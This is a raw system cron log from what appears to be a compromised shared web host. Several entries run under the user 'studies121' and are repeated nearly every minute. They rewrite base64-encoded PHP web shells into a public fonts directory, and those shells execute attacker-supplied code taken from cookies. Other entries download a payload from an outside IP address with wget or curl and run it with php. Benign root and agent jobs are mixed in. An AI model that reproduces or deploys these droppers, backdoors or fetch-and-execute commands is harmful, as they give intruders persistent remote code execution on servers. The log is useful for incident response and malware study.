Sep  3 00:56:01 ip-184-168-122-23 CROND[6357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:57:01 ip-184-168-122-23 CROND[6521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:57:01 ip-184-168-122-23 CROND[6523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:57:01 ip-184-168-122-23 CROND[6524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:57:01 ip-184-168-122-23 CROND[6525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:58:02 ip-184-168-122-23 CROND[6609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:58:02 ip-184-168-122-23 CROND[6613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:58:02 ip-184-168-122-23 CROND[6611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:58:02 ip-184-168-122-23 CROND[6612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:58:02 ip-184-168-122-23 CROND[6614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:59:01 ip-184-168-122-23 CROND[6699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:59:01 ip-184-168-122-23 CROND[6701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:59:01 ip-184-168-122-23 CROND[6702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:59:01 ip-184-168-122-23 CROND[6703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:00:01 ip-184-168-122-23 CROND[6789]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 01:00:01 ip-184-168-122-23 CROND[6797]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:00:01 ip-184-168-122-23 CROND[6796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:00:01 ip-184-168-122-23 CROND[6792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:00:01 ip-184-168-122-23 CROND[6793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:00:01 ip-184-168-122-23 CROND[6794]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:00:01 ip-184-168-122-23 CROND[6795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:00:01 ip-184-168-122-23 CROND[6799]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:01:01 ip-184-168-122-23 CROND[6893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:01:01 ip-184-168-122-23 CROND[6896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:01:01 ip-184-168-122-23 CROND[6900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:01:01 ip-184-168-122-23 CROND[6898]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 01:01:01 ip-184-168-122-23 CROND[6895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:01:01 ip-184-168-122-23 CROND[6899]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6898]: starting 0anacron
Sep  3 01:01:01 ip-184-168-122-23 anacron[6914]: Anacron started on 2026-09-03
Sep  3 01:01:01 ip-184-168-122-23 anacron[6914]: Normal exit (0 jobs run)
Sep  3 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6916]: finished 0anacron
Sep  3 01:02:01 ip-184-168-122-23 CROND[6990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:02:01 ip-184-168-122-23 CROND[6991]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:02:01 ip-184-168-122-23 CROND[6994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:02:01 ip-184-168-122-23 CROND[6997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:02:01 ip-184-168-122-23 CROND[6995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:03:02 ip-184-168-122-23 CROND[7162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:03:02 ip-184-168-122-23 CROND[7164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:03:02 ip-184-168-122-23 CROND[7165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:03:02 ip-184-168-122-23 CROND[7166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:04:01 ip-184-168-122-23 CROND[7247]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:04:01 ip-184-168-122-23 CROND[7248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:04:01 ip-184-168-122-23 CROND[7249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:04:01 ip-184-168-122-23 CROND[7250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:04:01 ip-184-168-122-23 CROND[7251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:05:02 ip-184-168-122-23 CROND[7337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:05:02 ip-184-168-122-23 CROND[7341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:05:02 ip-184-168-122-23 CROND[7339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:05:02 ip-184-168-122-23 CROND[7340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:05:02 ip-184-168-122-23 CROND[7343]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:05:02 ip-184-168-122-23 CROND[7346]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:05:02 ip-184-168-122-23 CROND[7342]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 01:06:01 ip-184-168-122-23 CROND[7436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:06:01 ip-184-168-122-23 CROND[7437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:06:01 ip-184-168-122-23 CROND[7438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:06:01 ip-184-168-122-23 CROND[7439]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:06:01 ip-184-168-122-23 CROND[7441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:07:01 ip-184-168-122-23 CROND[7524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:07:01 ip-184-168-122-23 CROND[7526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:07:01 ip-184-168-122-23 CROND[7528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:07:02 ip-184-168-122-23 CROND[7527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:08:01 ip-184-168-122-23 CROND[7633]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:08:01 ip-184-168-122-23 CROND[7635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:08:01 ip-184-168-122-23 CROND[7638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:08:01 ip-184-168-122-23 CROND[7639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
